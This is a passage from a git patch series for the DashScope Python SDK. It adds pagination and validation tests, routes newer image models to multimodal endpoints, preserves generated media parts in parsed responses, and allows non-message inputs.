page.next_page() + + +@pytest.mark.asyncio +async def test_models_async_page_rejects_sync_iter_pages(): + # Same refusal, reached through the generator: consuming it must raise + # the actionable TypeError rather than an AttributeError on a coroutine. + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_async_client(_models_handler(catalog, [])) + + page = await client.models.list(page_no=1, page_size=2) + with pytest.raises(TypeError, match="iter_pages_async"): + list(page.iter_pages()) + + +def test_sync_page_next_page_leaves_no_unawaited_coroutine(): + # The guard closes the coroutine it rejects, so a mis-traversal does not + # also leak "coroutine ... was never awaited" into the test run. + page = ModelList(models=[], page_no=1, page_size=1, total_count=5) + + async def fetch(page_no, page_size): + return ModelList( + models=[], + page_no=page_no, + page_size=1, + total_count=5, + ) + + page.bind_pagination(fetch) + with warnings.catch_warnings(record=True) as caught: + warnings.simplefilter("always") + with pytest.raises(TypeError, match="next_page_async"): + page.next_page() + assert not [w for w in caught if issubclass(w.category, RuntimeWarning)] + + +def test_sync_page_next_page_still_advances(): + # The async guard must not trip on a plain callable. + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + second = page.next_page() + assert second is not None and second.page_no == 2 + assert seen == [1, 2] + + # --- files.list (sync) ---------------------------------------------------- diff --git a/tests/test_parse_model.py b/tests/test_parse_model.py index b54b47f7..c7aaa3c6 100644 --- a/tests/test_parse_model.py +++ b/tests/test_parse_model.py @@ -12,7 +12,7 @@ import httpx import pytest -from pydantic import BaseModel, ConfigDict +from pydantic import AliasChoices, BaseModel, ConfigDict, Field from pydantic import ValidationError, model_validator from dashscope.errors import APIResponseValidationError, DashScopeError @@ -287,6 +287,25 @@ def _ordered(self) -> "_CrossField": return self +class _AliasedCrossField(BaseModel): + """Stage 3 with an aliased field, to pin how the wire spelling lands.""" + + model_config = ConfigDict(extra="allow") + + low: int = 0 + high: int = 0 + open_source: Optional[bool] = Field( + None, + validation_alias=AliasChoices("open_source", "opensource"), + ) + + @model_validator(mode="after") + def _ordered(self) -> "_AliasedCrossField": + if self.low > self.high: + raise ValueError("low must not exceed high") + return self + + class _BeforeAlwaysFails(BaseModel): """Forces stage 3: no validation pass can ever succeed.""" @@ -316,6 +335,33 @@ def test_a_cross_field_invariant_falls_back_to_construct(): assert parsed.model_extra == {"extra": "kept"} +def test_a_degraded_alias_is_not_also_kept_as_an_extra(): + # ``model_construct`` ignores aliases, so the wire spelling is renamed + # onto its field. Keeping the original key as an extra as well made + # ``model_dump()`` emit the value twice (``open_source`` *and* + # ``opensource``), which no longer round-trips into a model that + # forbids extras. + parsed = parse_model( + _AliasedCrossField, + {"low": 5, "high": 1, "opensource": True}, + ) + assert parsed.open_source is True + assert "opensource" not in parsed.model_dump() + assert parsed.model_extra == {} + + +def test_a_degraded_alias_shadowed_by_the_field_name_stays_an_extra(): + # The direct field name wins the slot, and a *conflicting* wire spelling + # is then genuinely extra data -- folding it away would lose what the + # server actually sent. + parsed = parse_model( + _AliasedCrossField, + {"low": 5, "high": 1, "open_source": False, "opensource": True}, + ) + assert parsed.open_source is False + assert parsed.model_extra == {"opensource": True} + + def test_an_after_validator_that_still_fails_does_not_raise(): # The invariant is genuinely violated by this body, so re-running it # fails again; a degraded parse logs that instead of raising. diff --git a/tests/test_tools_resources.py b/tests/test_tools_resources.py index 50e45959..2cff858e 100644 --- a/tests/test_tools_resources.py +++ b/tests/test_tools_resources.py @@ -10,6 +10,7 @@ import pytest from dashscope import AsyncClient, Client +from dashscope.errors import APIResponseValidationError from dashscope.resources.embeddings import parse_embedding_response BASE_URL = "https://api.test.local/api/v1" @@ -195,6 +196,94 @@ def test_embedding_response_plural_wins_over_singular(): assert resp.embeddings[0].embedding == [0.5] +def test_embedding_response_drift_degrades_instead_of_raising(): + # embeddings builds its model through parse_model like every other + # migrated resource, so a drifted field degrades rather than escaping + # as a bare pydantic ValidationError. + resp = parse_embedding_response( + { + "request_id": "req-drift", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + assert resp.request_id == "req-drift" + assert resp.embeddings[0].embedding == [0.1] + + +def test_embedding_response_strict_raises(): + # The global strict_validation contract has to reach this parser too, + # or turning it on in CI silently skips a whole resource. + body = { + "request_id": "req-strict", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + } + with pytest.raises(APIResponseValidationError): + parse_embedding_response(body, strict=True) + + +def test_embedding_response_tolerates_a_non_dict_output(): + # ``output.get`` used to assume a dict; a malformed envelope now parses + # as an empty page instead of raising AttributeError. + resp = parse_embedding_response({"request_id": "r", "output": [1, 2]}) + assert resp.embeddings == [] + + +def test_embeddings_create_honours_client_strict_validation(): + # End to end: the flag on the Client has to arrive at the parser. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-e2e", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + + lenient = _make_client(handler) + assert lenient.embeddings.create(model="m", input="hi").request_id == ( + "req-e2e" + ) + + strict = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError): + strict.embeddings.create(model="m", input="hi") + + +def test_multimodal_embeddings_create_honours_client_strict_validation(): + # The multimodal endpoint rides the pre-request_api transport path, but + # its ``request`` returns the same httpx.Response, so the flag has to + # arrive here exactly as it does on ``embeddings.create`` and on + # ``images.generate`` -- otherwise one embedding surface silently stays + # lenient while its sibling fails loudly on the same drift. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-mm-e2e", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + + lenient = _make_client(handler) + resp = lenient.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + assert resp.request_id == "req-mm-e2e" + assert resp.embeddings[0].embedding == [0.1] + + strict = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError): + strict.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + + def test_multimodal_embeddings_validation(): client = _make_client(lambda r: httpx.Response(200)) with pytest.raises(ValueError, match="input"): @@ -538,6 +627,36 @@ async def fake_sleep(delay): await client.aclose() +@pytest.mark.asyncio +async def test_async_multimodal_embeddings_honours_strict_validation(): + # The async call site forwards the flag independently of the sync one. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-mm-async", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + + lenient = _make_async_client(handler) + resp = await lenient.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + assert resp.request_id == "req-mm-async" + await lenient.aclose() + + strict = _make_async_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError): + await strict.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + await strict.aclose() + + def test_business_code_reaches_tool_responses(): # These four parsers pick their fields out of the body by hand, so the # envelope has to be threaded on separately for is_error to mean the From c45e502a984ae233db34b25004678b1c25169322 Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Wed, 4 Nov 2026 11:15:07 +0800 Subject: [PATCH 09/26] fix(v2): support wan2.7 image responses Route wan2.7 image models to the multimodal endpoints and retain non-text content parts so generated media URLs survive typed parsing. --- dashscope/protocols/openai.py | 13 +++- dashscope/resources/images.py | 11 ++- dashscope/types/completions.py | 36 +++++++++- tests/test_images_videos.py | 32 +++++++++ tests/test_multimodal.py | 123 +++++++++++++++++++++++++++++++++ tests/test_protocols.py | 40 +++++++++++ 6 files changed, 248 insertions(+), 7 deletions(-) diff --git a/dashscope/protocols/openai.py b/dashscope/protocols/openai.py index 12a55b41..bdfefaa5 100644 --- a/dashscope/protocols/openai.py +++ b/dashscope/protocols/openai.py @@ -19,6 +19,7 @@ from dashscope.types.completions import ( ChatCompletion, ChatCompletionChunk, + _normalize_message_content, ) if TYPE_CHECKING: @@ -264,12 +265,20 @@ def parse_completion( strict_validation: bool = False, response: Optional[httpx.Response] = None, ) -> ChatCompletion: + choices = [] + for raw in payload.get("choices") or []: + if isinstance(raw, dict): + raw = dict(raw) + message = raw.get("message") + if isinstance(message, dict): + raw["message"] = _normalize_message_content(message) + choices.append(raw) return parse_model( ChatCompletion, { "request_id": payload.get("request_id") or payload.get("id"), "model": payload.get("model"), - "choices": payload.get("choices") or [], + "choices": choices, "usage": _canonical_usage(payload.get("usage")), }, strict=strict_validation, @@ -292,6 +301,8 @@ def parse_chunk( if isinstance(raw, dict): raw = dict(raw) raw.setdefault("delta", {}) + if isinstance(raw["delta"], dict): + raw["delta"] = _normalize_message_content(raw["delta"]) choices.append(raw) return parse_model( ChatCompletionChunk, diff --git a/dashscope/resources/images.py b/dashscope/resources/images.py index 8aefac0e..28ba50b4 100644 --- a/dashscope/resources/images.py +++ b/dashscope/resources/images.py @@ -11,7 +11,8 @@ * multimodal-generation — one-shot sync calls hit ``/services/aigc/multimodal-generation/generation``, async tasks hit ``/services/aigc/image-generation/generation``; ``messages`` input, - ``choices`` output. wan2.6-t2i / wan2.6-image only answer here. + ``choices`` output. wan2.6-t2i / wan2.6-image / wan2.7-image only + answer here. The split follows the same convention as ``chat.completions`` routing media messages to the multimodal endpoint on its own: the caller passes @@ -68,8 +69,12 @@ MODULE = "aigc" # Models that only answer on the multimodal-generation protocol. Prefix -# match so ``-preview``-style variants route the same way. -MULTIMODAL_MODEL_PREFIXES = ("wan2.6-t2i", "wan2.6-image") +# match so ``-pro`` / dated variants route the same way. +MULTIMODAL_MODEL_PREFIXES = ( + "wan2.6-t2i", + "wan2.6-image", + "wan2.7-image", +) def _uses_multimodal_protocol(model: str) -> bool: diff --git a/dashscope/types/completions.py b/dashscope/types/completions.py index e5a510ec..6ead621c 100644 --- a/dashscope/types/completions.py +++ b/dashscope/types/completions.py @@ -51,6 +51,10 @@ class ChatCompletionMessage(BaseModel): role: str = "assistant" content: Optional[str] = None + # Non-text parts of a list-form content (image / audio / ...). Text + # already reads through ``content``; without this, flattening the + # list would drop generated media such as wan2.7 image URLs. + content_parts: Optional[List[Dict[str, Any]]] = None reasoning_content: Optional[str] = None reasoning_signature: Optional[str] = None tool_calls: Optional[List[ToolCall]] = None @@ -61,6 +65,7 @@ class Delta(BaseModel): role: Optional[str] = None content: Optional[str] = None + content_parts: Optional[List[Dict[str, Any]]] = None reasoning_content: Optional[str] = None reasoning_signature: Optional[str] = None tool_calls: Optional[List[ToolCall]] = None @@ -120,6 +125,33 @@ def _flatten_content(content: Any) -> Any: return content +def _media_parts(content: Any) -> Optional[List[Dict[str, Any]]]: + """The non-text parts of a list-form content. + + ``content`` stays a string for compatibility, so image / audio parts + need their own field -- dropping them loses generated media URLs. + """ + if not isinstance(content, list): + return None + parts = [ + part + for part in content + if isinstance(part, dict) and not part.get("text") + ] + return parts or None + + +def _normalize_message_content(message: Dict[str, Any]) -> Dict[str, Any]: + """Flatten text and keep media parts on one message / delta.""" + normalized = dict(message) + content = normalized.get("content") + normalized["content"] = _flatten_content(content) + parts = _media_parts(content) + if parts is not None: + normalized["content_parts"] = parts + return normalized + + def _output(body: Dict[str, Any]) -> Dict[str, Any]: """``body["output"]`` when it is a mapping, else empty. @@ -147,9 +179,7 @@ def _canonical_choices(output: Dict[str, Any]) -> List[Any]: for key in ("message", "delta"): msg = raw.get(key) if isinstance(msg, dict): - msg = dict(msg) - msg["content"] = _flatten_content(msg.get("content")) - raw[key] = msg + raw[key] = _normalize_message_content(msg) canonical.append(raw) return canonical text = output.get("text") diff --git a/tests/test_images_videos.py b/tests/test_images_videos.py index 00bcba7e..3256f2ff 100644 --- a/tests/test_images_videos.py +++ b/tests/test_images_videos.py @@ -139,6 +139,38 @@ def handler(request): assert job.usage.image_count == 1 +@pytest.mark.parametrize("model", ["wan2.7-image", "wan2.7-image-pro"]) +def test_images_generate_wan27_uses_multimodal_endpoint(model): + captured = {} + + def handler(request): + captured["path"] = request.url.path + captured["header"] = request.headers.get("x-dashscope-async") + return httpx.Response(200, json=_multimodal_image_body()) + + client = _make_client(handler) + job = client.images.generate(model=model, prompt="a cat", n=1) + assert captured["path"] == MULTIMODAL_IMAGE_PATH + # One-shot sync call: no async header, no polling. + assert captured["header"] is None + assert job.succeeded is True + assert job.image_urls == ["https://cdn.example.com/1.png"] + + +def test_images_jobs_wan27_uses_image_generation_task_endpoint(): + captured = {} + + def handler(request): + captured["path"] = request.url.path + captured["header"] = request.headers.get("x-dashscope-async") + return httpx.Response(200, json=_task_body("PENDING")) + + client = _make_client(handler) + client.images.jobs.create(model="wan2.7-image", prompt="a cat") + assert captured["path"] == TASK_IMAGE_PATH + assert captured["header"] == "enable" + + def test_images_generate_wan26_image_reference_urls(): captured = {} diff --git a/tests/test_multimodal.py b/tests/test_multimodal.py index 80c8c404..a646fac2 100644 --- a/tests/test_multimodal.py +++ b/tests/test_multimodal.py @@ -92,6 +92,129 @@ def _openai_response(text="A cat on a mat."): ) +def _media_response(content): + """A multimodal answer whose content carries generated media.""" + return httpx.Response( + 200, + json={ + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": content}, + }, + ], + }, + "request_id": "req-media", + }, + ) + + +def test_create_preserves_generated_image_parts(): + image_part = { + "type": "image", + "image": "https://cdn.example.com/wan27.png", + } + + def handler(request): + return _media_response([image_part]) + + client = _make_client(handler) + resp = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + ) + message = resp.choices[0].message + assert message.content is None + assert message.content_parts == [image_part] + assert resp.output_text == "" + assert message.model_dump()["content_parts"] == [image_part] + + +def test_create_keeps_text_and_media_parts_separate(): + image_part = {"image": "https://cdn.example.com/wan27.png"} + + def handler(request): + return _media_response([{"text": "done"}, image_part]) + + client = _make_client(handler) + resp = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + ) + message = resp.choices[0].message + assert message.content == "done" + assert message.content_parts == [image_part] + assert resp.output_text == "done" + + +def test_text_only_content_does_not_gain_media_parts(): + def handler(request): + return _vl_response() + + client = _make_client(handler) + resp = client.multimodal.chat.create( + model="qwen-vl-max", + messages=[{"role": "user", "content": [{"text": "describe"}]}], + ) + message = resp.choices[0].message + assert message.content == "A cat on a mat." + assert message.content_parts is None + assert "content_parts" not in message.model_dump(exclude_none=True) + + +def test_strict_validation_accepts_media_parts(): + image_part = {"image": "https://cdn.example.com/wan27.png"} + + def handler(request): + return _media_response([image_part]) + + client = _make_client(handler, strict_validation=True) + resp = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + ) + assert resp.choices[0].message.content_parts == [image_part] + + +def test_streaming_preserves_image_parts(): + image_part = {"image": "https://cdn.example.com/wan27.png"} + + def handler(request): + return httpx.Response( + 200, + headers={"Content-Type": "text/event-stream"}, + content=_sse( + [ + { + "output": { + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": [image_part], + }, + }, + ], + }, + "request_id": "r", + }, + ], + ), + ) + + client = _make_client(handler) + stream = client.multimodal.chat.create( + model="wan2.7-image", + messages=[{"role": "user", "content": [{"text": "a cat"}]}], + stream=True, + ) + chunks = list(stream) + assert chunks[0].choices[0].delta.content is None + assert chunks[0].choices[0].delta.content_parts == [image_part] + + def test_create_non_streaming_native(): captured = {} diff --git a/tests/test_protocols.py b/tests/test_protocols.py index 259a17a0..525a7f65 100644 --- a/tests/test_protocols.py +++ b/tests/test_protocols.py @@ -640,6 +640,46 @@ def test_openai_parse_completion_and_chunk(): assert not final.choices +def test_openai_parse_preserves_media_parts(): + protocol = OpenAIProtocol() + image_part = { + "type": "image_url", + "image_url": {"url": "https://cdn.example.com/wan27.png"}, + } + completion = protocol.parse_completion( + { + "id": "chatcmpl-media", + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": [ + {"type": "text", "text": "done"}, + image_part, + ], + }, + }, + ], + }, + strict_validation=True, + ) + message = completion.choices[0].message + assert message.content == "done" + assert message.content_parts == [image_part] + + chunk = protocol.parse_chunk( + { + "id": "chatcmpl-media", + "choices": [{"index": 0, "delta": {"content": [image_part]}}], + }, + strict_validation=True, + ) + assert chunk.delta is not None + assert chunk.delta.content is None + assert chunk.delta.content_parts == [image_part] + + def test_openai_usage_details_survive_translation(): # Only the canonical counters are renamed. The gateway's own detail # objects must stay readable: cached and reasoning tokens are billed From bd576b44a2380cb33ab1eea03447b8e12efd4cfd Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Wed, 4 Nov 2026 11:35:58 +0800 Subject: [PATCH 10/26] fix(v2): support more image models and input forms Route the remaining multimodal image models correctly and allow protocol-specific inputs without forcing prompt or messages fields. --- dashscope/resources/chat/completions.py | 55 +++++++++++++++++- dashscope/resources/images.py | 29 ++++++---- dashscope/resources/multimodal/chat.py | 20 +++++-- tests/test_images_videos.py | 66 +++++++++++++++++++-- tests/test_multimodal.py | 77 +++++++++++++++++++++++++ 5 files changed, 224 insertions(+), 23 deletions(-) diff --git a/dashscope/resources/chat/completions.py b/dashscope/resources/chat/completions.py index 255e27b5..2f53d3d0 100644 --- a/dashscope/resources/chat/completions.py +++ b/dashscope/resources/chat/completions.py @@ -88,12 +88,51 @@ def _endpoint( return None +def _normalize_request_messages( + client, + *, + multimodal: bool, + messages: Optional[Union[str, List[MessageInput]]], +) -> List[Message]: + if messages is None: + if not multimodal or client.protocol.name != "native": + raise ValueError("messages must not be empty") + return [] + if multimodal and client.protocol.name == "native" and messages == []: + return [] + return normalize_messages(messages) + + +def _merge_input_overrides( + client, + request: ChatRequest, + *, + multimodal: bool, + messages: Optional[Union[str, List[MessageInput]]], + extra_input: Optional[Dict[str, Any]], +) -> ChatRequest: + if extra_input and (not multimodal or client.protocol.name != "native"): + raise ValueError( + "extra_input requires multimodal.chat with the native protocol", + ) + if not extra_input and messages is not None: + return request + body = dict(request.body) + input_data = dict(body.get("input") or {}) + if messages is None: + input_data.pop("messages", None) + if extra_input: + input_data.update(extra_input) + body["input"] = input_data + return replace(request, body=body) + + def _build_request( client, *, multimodal: bool, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]], stream: bool, tools: Optional[List[Dict[str, Any]]], temperature: Optional[float], @@ -118,8 +157,13 @@ def _build_request( parameters: Optional[Dict[str, Any]], api_key: Optional[str] = None, workspace: Optional[str] = None, + extra_input: Optional[Dict[str, Any]] = None, ) -> Tuple[ChatRequest, str, bool, bool]: - normalized = normalize_messages(messages) + normalized = _normalize_request_messages( + client, + multimodal=multimodal, + messages=messages, + ) # 1.x tags the whole chat family "aigc" (MultiModalConversation lives # in dashscope.legacy_1x.aigc); media routing does not change the module tag. module = "aigc" @@ -204,6 +248,13 @@ def _build_request( extra_parameters=parameters, path=_endpoint(client, normalized, multimodal=multimodal), ) + request = _merge_input_overrides( + client, + request, + multimodal=multimodal, + messages=messages, + extra_input=extra_input, + ) if uploaded: request = replace( request, diff --git a/dashscope/resources/images.py b/dashscope/resources/images.py index 28ba50b4..b82b42c9 100644 --- a/dashscope/resources/images.py +++ b/dashscope/resources/images.py @@ -11,8 +11,8 @@ * multimodal-generation — one-shot sync calls hit ``/services/aigc/multimodal-generation/generation``, async tasks hit ``/services/aigc/image-generation/generation``; ``messages`` input, - ``choices`` output. wan2.6-t2i / wan2.6-image / wan2.7-image only - answer here. + ``choices`` output. wan2.6/wan2.7, kling-image, vidu-image and + z-image models only answer here. The split follows the same convention as ``chat.completions`` routing media messages to the multimodal endpoint on its own: the caller passes @@ -74,6 +74,9 @@ "wan2.6-t2i", "wan2.6-image", "wan2.7-image", + "kling-image", + "vidu-image", + "z-image", ) @@ -113,12 +116,14 @@ def _upload_inputs( def _build_input( - prompt: str, + prompt: Optional[str], negative_prompt: Optional[str], extra_input: Optional[Dict[str, Any]], function: Optional[str] = None, ) -> Dict[str, Any]: - input_data: Dict[str, Any] = {"prompt": prompt} + input_data: Dict[str, Any] = {} + if prompt is not None: + input_data["prompt"] = prompt if negative_prompt is not None: input_data["negative_prompt"] = negative_prompt if extra_input: @@ -129,18 +134,20 @@ def _build_input( def _build_multimodal_input( - prompt: str, + prompt: Optional[str], image_urls: Optional[List[str]], extra_input: Optional[Dict[str, Any]], function: Optional[str] = None, ) -> Dict[str, Any]: """Messages-style input: text part plus one part per reference image.""" - content: List[Dict[str, Any]] = [{"text": prompt}] + content: List[Dict[str, Any]] = [] + if prompt is not None: + content.append({"text": prompt}) for url in image_urls or []: content.append({"image": url}) - input_data: Dict[str, Any] = { - "messages": [{"role": "user", "content": content}], - } + input_data: Dict[str, Any] = {} + if content: + input_data["messages"] = [{"role": "user", "content": content}] if extra_input: input_data.update(extra_input) if function is not None: @@ -308,7 +315,7 @@ def create( self, *, model: str, - prompt: str, + prompt: Optional[str] = None, negative_prompt: Optional[str] = None, n: Optional[int] = None, size: Optional[str] = None, @@ -583,7 +590,7 @@ async def create( self, *, model: str, - prompt: str, + prompt: Optional[str] = None, negative_prompt: Optional[str] = None, n: Optional[int] = None, size: Optional[str] = None, diff --git a/dashscope/resources/multimodal/chat.py b/dashscope/resources/multimodal/chat.py index 2ca02e3d..c646019d 100644 --- a/dashscope/resources/multimodal/chat.py +++ b/dashscope/resources/multimodal/chat.py @@ -45,7 +45,7 @@ def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[True], tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -68,6 +68,7 @@ def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, @@ -79,7 +80,7 @@ def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[False] = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -102,6 +103,7 @@ def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, @@ -112,7 +114,7 @@ def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: bool = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -135,6 +137,7 @@ def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, @@ -166,6 +169,7 @@ def create( parallel_tool_calls=parallel_tool_calls, incremental_output=incremental_output, parameters=parameters, + extra_input=extra_input, api_key=api_key, workspace=workspace, ) @@ -192,7 +196,7 @@ async def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[True], tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -215,6 +219,7 @@ async def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, @@ -226,7 +231,7 @@ async def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: Literal[False] = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -249,6 +254,7 @@ async def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, @@ -259,7 +265,7 @@ async def create( self, *, model: str, - messages: Union[str, List[MessageInput]], + messages: Optional[Union[str, List[MessageInput]]] = None, stream: bool = False, tools: Optional[List[Dict[str, Any]]] = None, temperature: Optional[float] = None, @@ -282,6 +288,7 @@ async def create( parallel_tool_calls: Optional[bool] = None, incremental_output: Optional[bool] = None, parameters: Optional[Dict[str, Any]] = None, + extra_input: Optional[Dict[str, Any]] = None, timeout: Optional[float] = None, api_key: Optional[str] = None, workspace: Optional[str] = None, @@ -317,6 +324,7 @@ async def create( parallel_tool_calls=parallel_tool_calls, incremental_output=incremental_output, parameters=parameters, + extra_input=extra_input, api_key=api_key, workspace=workspace, ) diff --git a/tests/test_images_videos.py b/tests/test_images_videos.py index 3256f2ff..7b4a56ee 100644 --- a/tests/test_images_videos.py +++ b/tests/test_images_videos.py @@ -139,8 +139,17 @@ def handler(request): assert job.usage.image_count == 1 -@pytest.mark.parametrize("model", ["wan2.7-image", "wan2.7-image-pro"]) -def test_images_generate_wan27_uses_multimodal_endpoint(model): +@pytest.mark.parametrize( + "model", + [ + "wan2.7-image", + "wan2.7-image-pro", + "kling-image", + "vidu-image", + "z-image", + ], +) +def test_images_generate_multimodal_model_prefixes(model): captured = {} def handler(request): @@ -157,7 +166,11 @@ def handler(request): assert job.image_urls == ["https://cdn.example.com/1.png"] -def test_images_jobs_wan27_uses_image_generation_task_endpoint(): +@pytest.mark.parametrize( + "model", + ["wan2.7-image", "kling-image", "vidu-image", "z-image"], +) +def test_images_jobs_multimodal_models_use_task_endpoint(model): captured = {} def handler(request): @@ -166,11 +179,56 @@ def handler(request): return httpx.Response(200, json=_task_body("PENDING")) client = _make_client(handler) - client.images.jobs.create(model="wan2.7-image", prompt="a cat") + client.images.jobs.create(model=model, prompt="a cat") assert captured["path"] == TASK_IMAGE_PATH assert captured["header"] == "enable" +def test_images_jobs_create_allows_template_without_prompt(): + captured = {} + + def handler(request): + captured["path"] = request.url.path + captured["body"] = json.loads(request.content) + return httpx.Response(200, json=_task_body("PENDING")) + + client = _make_client(handler) + client.images.jobs.create( + model="wanx-poster-generation-v1", + extra_input={ + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + }, + ) + assert captured["path"] == IMAGE_PATH + assert captured["body"]["input"] == { + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + } + + +@pytest.mark.asyncio +async def test_async_images_jobs_create_allows_template_without_prompt(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return httpx.Response(200, json=_task_body("PENDING")) + + client = _make_async_client(handler) + await client.images.jobs.create( + model="wanx-poster-generation-v1", + extra_input={ + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + }, + ) + assert captured["body"]["input"] == { + "template_id": "poster-template", + "params": {"title": "Spring sale"}, + } + + def test_images_generate_wan26_image_reference_urls(): captured = {} diff --git a/tests/test_multimodal.py b/tests/test_multimodal.py index a646fac2..cfab0440 100644 --- a/tests/test_multimodal.py +++ b/tests/test_multimodal.py @@ -215,6 +215,64 @@ def handler(request): assert chunks[0].choices[0].delta.content_parts == [image_part] +def test_create_accepts_directive_input_without_messages(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_client(handler) + client.multimodal.chat.create( + model="image-agent", + extra_input={"directive": "generate", "app_id": "app-1"}, + ) + assert captured["body"]["input"] == { + "directive": "generate", + "app_id": "app-1", + } + + +def test_create_allows_empty_messages_with_audio_address(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_client(handler) + client.multimodal.chat.create( + model="fun-asr", + messages=[], + parameters={"audio_address": "wss://example.com/audio"}, + ) + assert captured["body"]["input"] == {"messages": []} + assert captured["body"]["parameters"]["audio_address"] == ( + "wss://example.com/audio" + ) + + +def test_create_accepts_translation_input_fields(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_client(handler) + client.multimodal.chat.create( + model="qwen-mt-uni", + extra_input={ + "target_lang": "en", + "fileUrl": "https://example.com/source.txt", + }, + ) + assert captured["body"]["input"] == { + "target_lang": "en", + "fileUrl": "https://example.com/source.txt", + } + + def test_create_non_streaming_native(): captured = {} @@ -638,6 +696,25 @@ def handler(request): assert resp.output_text == "OK" +@pytest.mark.asyncio +async def test_async_create_accepts_extra_input_without_messages(): + captured = {} + + def handler(request): + captured["body"] = json.loads(request.content) + return _vl_response() + + client = _make_async_client(handler) + await client.multimodal.chat.create( + model="qwen-mt-uni", + extra_input={"target_lang": "en", "fileUrl": "file-1"}, + ) + assert captured["body"]["input"] == { + "target_lang": "en", + "fileUrl": "file-1", + } + + @pytest.mark.asyncio async def test_async_create_non_streaming(): captured = {} From 520f4e6f7fb5c027105c73289ffb24d74bcd46fd Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Wed, 4 Nov 2026 15:56:30 +0800 Subject: [PATCH 11/26] model name fix --- .../reinforcement/examples/workspace/requirements.txt | 2 +- tests/legacy_1x/unit/test_maas_region.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt b/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt index 58ad261a..7a6df339 100644 --- a/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt +++ b/dashscope/applications/finetune/reinforcement/examples/workspace/requirements.txt @@ -22,6 +22,6 @@ langchain-core #1.3.0 langchain-mcp-adapters #0.2.2 langchain-openai #1.2.0 langgraph #1.1.9 